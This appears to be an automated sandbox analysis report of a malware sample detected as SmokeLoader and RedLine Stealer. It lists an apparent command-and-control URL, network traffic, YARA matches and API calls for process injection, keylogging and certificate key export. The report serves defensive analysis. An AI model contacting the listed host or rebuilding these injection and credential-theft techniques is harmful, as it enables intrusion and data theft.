Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 0000000D.00000002.2750919806.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2750919806.0000000002DDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/
Source: explorer.exe, 0000000D.00000002.2750919806.0000000002DC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 0000000D.00000002.2750919806.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/earch.php
Source: explorer.exe, 0000000D.00000002.2750919806.0000000002DC4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2750919806.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2708231092.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4124446936.0000000002847000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4124446551.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4124735208.0000000003287000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.4124374617.0000000000588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.php
Source: explorer.exe, 0000000D.00000002.2750919806.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.php(
Source: explorer.exe, 0000000D.00000002.2750919806.0000000002D50000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2708231092.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.4124446936.0000000002847000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.4124446551.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.4124735208.0000000003287000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.4124374617.0000000000588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.phpMozilla/5.0
Source: explorer.exe, 0000000D.00000002.2750919806.0000000002D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com/search.phpb
Source: explorer.exe, 0000000D.00000002.2750919806.0000000002D80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ninjahallnews.com:443/search.phpge
Source: explorer.exe, 00000001.00000000.1716416454.000000000C5E6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1716416454.000000000C5E6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1716416454.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1716416454.000000000C5E6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989

Source: unknown	HTTPS traffic detected: 23.145.40.164:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.145.40.168:443 -> 192.168.2.4:50067 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.4123114957.0000000000771000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7524, type: MEMORYSTR
Source: Yara match	File source: 00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 19_2_02EF162B GetKeyboardState,ToUnicode,

19_2_02EF162B

Source: C:\Users\user\AppData\Local\Temp\B972.exe

Code function: 9_2_00007FF6F2D63220 CertGetCertificateContextProperty,CryptAcquireCertificatePrivateKey,CryptGetUserKey,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,CryptExportKey,VirtualProtect,VirtualProtect,CryptAcquireContextA,CryptImportKey,OpenSCManagerA,OpenServiceA,QueryServiceStatusEx,OpenProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,NCryptExportKey,CertOpenStore,CertAddCertificateLinkToStore,CertSetCertificateContextProperty,PFXExportCertStoreEx,PFXExportCertStoreEx,

9_2_00007FF6F2D63220

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000008.00000002.2574353685.00000000004A0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000006.00000002.2327173692.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1726159167.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000008.00000002.2576258561.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2327201404.00000000005C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.1977011876.0000000000581000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1977659662.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2327352814.0000000000731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1726254840.00000000004F1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1726176567.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.2576079643.0000000001FA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.1976888383.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1726400088.00000000021D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000008.00000002.2576150006.0000000001FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.1976909715.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000006.00000002.2327481392.0000000000771000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00401514 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401514
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00402F97 RtlCreateUserThread,NtTerminateProcess,	0_2_00402F97
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00401542 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401542
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00403247 NtTerminateProcess,GetModuleHandleA,	0_2_00403247
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00401549 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401549
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_0040324F NtTerminateProcess,GetModuleHandleA,	0_2_0040324F
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00403256 NtTerminateProcess,GetModuleHandleA,	0_2_00403256
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00401557 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401557
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_0040326C NtTerminateProcess,GetModuleHandleA,	0_2_0040326C
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00403277 NtTerminateProcess,GetModuleHandleA,	0_2_00403277
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_004032C7 CreateFileW,GetForegroundWindow,NtEnumerateKey,wcsstr,	0_2_004032C7
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_004014FE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014FE
Source: C:\Users\user\Desktop\ctMI3TYXpX.exe	Code function: 0_2_00403290 NtTerminateProcess,GetModuleHandleA,	0_2_00403290
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00403103 RtlCreateUserThread,NtTerminateProcess,	6_2_00403103
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_004014FB LocalAlloc,VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004014FB
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00401641 VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401641
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00403257 RtlCreateUserThread,NtTerminateProcess,	6_2_00403257
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00401606 VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401606
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00401613 VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401613
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00401627 VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_00401627
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_00403433 GetKeyboardLayoutList,OpenProcessToken,GetTokenInformation,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,	6_2_00403433
Source: C:\Users\user\AppData\Local\Temp\35DB.exe	Code function: 6_2_004015FB VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	6_2_004015FB
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00403103 RtlCreateUserThread,NtTerminateProcess,	8_2_00403103
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_004014FB LocalAlloc,VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_004014FB
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00401641 VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401641
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00403257 RtlCreateUserThread,NtTerminateProcess,	8_2_00403257
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00401606 VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401606
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00401613 VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401613
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_00401627 VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_00401627
Source: C:\Users\user\AppData\Roaming\hdhruer	Code function: 8_2_004015FB VirtualProtect,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	8_2_004015FB
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_02754B92 RtlMoveMemory,NtUnmapViewOfSection,	13_2_02754B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_027533C3 NtQueryInformationFile,	13_2_027533C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0275342B NtQueryObject,NtQueryObject,RtlMoveMemory,	13_2_0275342B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_0275349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	13_2_0275349B
Source: C:\Windows\explorer.exe	Code function: 15_2_00CD38B0 NtUnmapViewOfSection,	15_2_00CD38B0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_00141016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	16_2_00141016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_00141819 lstrcmpiA,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	16_2_00141819
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 16_2_00141A80 NtCreateSection,NtMapViewOfSection,	16_2_00141A80
Source: C:\Windows\explorer.exe	Code function: 18_2_0077355C NtUnmapViewOfSection,	18_2_0077355C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02EF1016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	19_2_02EF1016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02EF1B26 NtCreateSection,NtMapViewOfSection,	19_2_02EF1B26
